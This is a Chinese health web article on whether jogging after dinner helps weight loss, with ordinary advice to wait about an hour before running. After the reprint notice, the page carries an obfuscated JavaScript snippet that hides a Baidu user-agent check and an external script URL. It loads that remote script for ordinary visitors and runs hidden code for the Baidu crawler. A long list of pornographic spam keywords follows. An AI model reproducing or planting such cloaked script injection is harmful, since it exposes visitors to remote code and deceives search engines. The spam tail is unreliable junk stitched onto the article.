當前位置:首頁 > 健康 > 運動健身 > 正文

晚飯后慢跑可不可以減肥呢

2017-04-14 16:59:07  來源:360常識網   熱度:
導語:現在很多人都喜歡吃完晚飯之后去散步,利用這段時間可以好好的鍛煉一下。晚飯之后大部分人會選擇慢跑,但是剛剛吃完就去跑步,這樣對身體有

現在很多人都喜歡吃完晚飯之后去散步,利用這段時間可以好好的鍛煉一下。晚飯之后大部分人會選擇慢跑,但是剛剛吃完就去跑步,這樣對身體有好處嗎?如果是想減肥的人們,晚飯之后去慢跑,會有減肥的效果嗎?下面的講解可以看一下。

晚飯后慢跑是可以減肥的,建議在飯后一個小時后跑步。剛吃飽飯時,胃部會充血,會造成胃脹,反酸等不適,而且長期的話可能導致胃下垂。要減肥的話可以在飯后一小時,先快走20分鐘,熱身后再跑步20-30分鐘。如果還有精力可以適當增加時間,但是一定不要過度疲勞,避免身體狀況下滑。

吃不吃晚飯都是可以減肥的,只要一天的總飲食量偏少就可以。即使是在減肥期也不能過度節食,所以吃飯是必須的,但是不能吃完飯立馬運動。

吃飽飯后,胃腸的活動增強,消化液分泌增多,在對食物進行消化的過程中需要的血液量也增多,此時若立即進行劇烈運動,由于神經和體液因素的調節作用會使腸胃活動及消化液的分泌受到抑制,使腸胃道的血液供應相對減少,而使血液更多地供給運動器官,導致腸胃消化功能減弱,容易引起腸胃不適和疼痛,甚至造成消化不良。

從上面的知識點可以看到,剛剛吃完晚飯就去慢跑對身體是不好的,不僅不會減肥,還會給身體帶來負擔。剛剛吃完是可以散步的,但是想要慢跑最好在半小時之后,這樣對身體也不會有傷害。如果是想減肥,早上的時候可以慢跑半小時。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
无码专区人妻系列日韩精品少妇| 久久国产精品无码网站| 青青草国产精品久久久久| 精品国产一区二区三区免费看| 无码精品国产一区二区三区免费| 亚洲AⅤ永久无码精品AA| 琪琪精品视频在线观看| 国产精品日韩AV在线播放| 日本午夜精品理论片A级APP发布| 992tv精品视频tv在线观看| 一色屋精品视频在线观看| 午夜一级日韩精品制服诱惑我们这边 | 亚洲91精品麻豆国产系列在线 | 国产SUV精品一区二区88| 中文字幕亚洲精品资源网| 国产美女亚洲精品久久久综合| 国产精品无码av片在线观看播| 精品国产99久久久久久麻豆 | 亚洲欧洲国产经精品香蕉网| 亚洲精品白浆高清久久久久久| 国产亚洲Av综合人人澡精品| 91成人午夜在线精品| 无码国产精品一区二区免费模式 | 久久亚洲国产精品| 国产在线91精品入口| 精品乱码一区内射人妻无码| 91免费精品国自产拍在线不卡| 91热成人精品国产免费| 久久国产精品张柏芝| 国内精品九九久久久精品| 精品精品国产高清a毛片| 婷婷久久精品国产| 国产aⅴ精品一区二区三区久久| 久久精品国产99久久久| 亚洲精品无码人妻无码| 国产精品成人观看视频国产| 99国产精品热久久久久久| 亚洲综合一区二区精品导航| 亚洲色精品88色婷婷七月丁香| 国产精品哟女在线观看| 精品在线观看免费|